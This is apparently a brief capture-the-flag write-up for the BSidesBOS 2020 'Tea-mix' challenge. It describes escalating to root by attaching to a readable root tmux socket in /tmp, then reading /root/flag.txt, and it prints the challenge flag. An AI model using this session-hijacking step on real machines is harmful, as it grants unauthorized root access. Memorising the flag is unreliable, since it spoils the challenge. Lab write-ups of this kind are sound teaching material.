> For the complete documentation index, see [llms.txt](https://the-winrars.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-winrars.gitbook.io/writeups/2020-writeups/bsidesbos/misc/tea-mix.md).

# Tea-mix

The name hinted towards tmux, which was confirmed by session files for tmux in /tmp; including /tmp/tmux-0/tea\_mix (root's session) We have permission toy read the socket file, meaning we can attach to the tmux session.

```
export TERM=xterm
set tty rows/cols to your own terminal
tmux -S /tmp/tmux-0/tea_mix
root shell
cat /root/flag.txt
```

## Flag: flag{oooohhhh\_tea\_mix\_sounds\_like\_tmux\_i\_get\_it}